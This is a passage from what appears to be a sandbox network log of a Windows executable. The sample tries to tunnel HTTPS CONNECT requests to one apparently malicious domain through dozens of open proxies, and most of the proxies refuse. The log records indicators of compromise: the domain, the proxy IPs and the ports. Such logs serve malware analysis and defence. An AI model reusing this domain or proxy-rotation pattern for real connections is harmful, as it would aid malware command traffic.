Feb 23, 2024 09:45:22.226687908 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.4	51234	37.192.118.80	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.070648909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.4	52414	146.59.2.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.077387094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.4	52366	102.213.22.57	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.080425024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.4	52066	74.119.144.60	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.096631050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.4	52411	92.255.164.166	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.107445002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.4	51376	103.230.126.123	57821	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.107773066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.4	52440	212.31.100.138	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.111365080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.4	52477	203.23.103.127	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.119795084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.210205078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.4	51652	129.154.225.163	8100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.124172926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.4	51754	50.63.12.33	40838	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.124605894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178224087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.179193974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.179007053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.178056955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.4	52403	211.222.252.187	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.124927044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.4	52460	185.219.133.106	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.124927998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.348777056 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.4	52138	111.53.178.249	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.129822016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.4	51722	184.178.172.28	15294	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.133512020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.4	52486	162.159.242.45	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.133755922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.221452951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.4	52487	172.67.181.17	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.134711981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.222676039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.4	52469	51.210.223.9	3000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.137386084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.4	51749	45.11.95.165	5211	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.153898001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.257092953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333584070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334790945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.337369919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.334279060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:10.521871090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.4	52461	93.90.212.2	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.174247026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.4	52472	142.4.7.20	34139	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.174252033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.4	52473	72.206.181.103	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.176311970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.4	52410	103.163.51.254	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.182084084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.4	52432	8.213.128.6	10003	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.187513113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.479095936 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.4	52612	129.226.90.34	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.209383011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.4	52511	172.245.16.47	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.211221933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.4	52616	129.226.90.34	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.211850882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.4	52520	45.12.30.231	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.221565008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.313220978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.4	52468	78.186.18.142	3629	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.222521067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.4	52489	188.87.137.45	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.234756947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.415987015 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 32 32 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Fri, 23 Feb 2024 08:45:22 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.4	52272	117.160.250.133	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.248128891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.816742897 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.4	52424	218.75.102.198	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.248137951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.975045919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.4	52465	103.146.137.9	1081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.248271942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.4	51785	162.0.220.234	53242	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

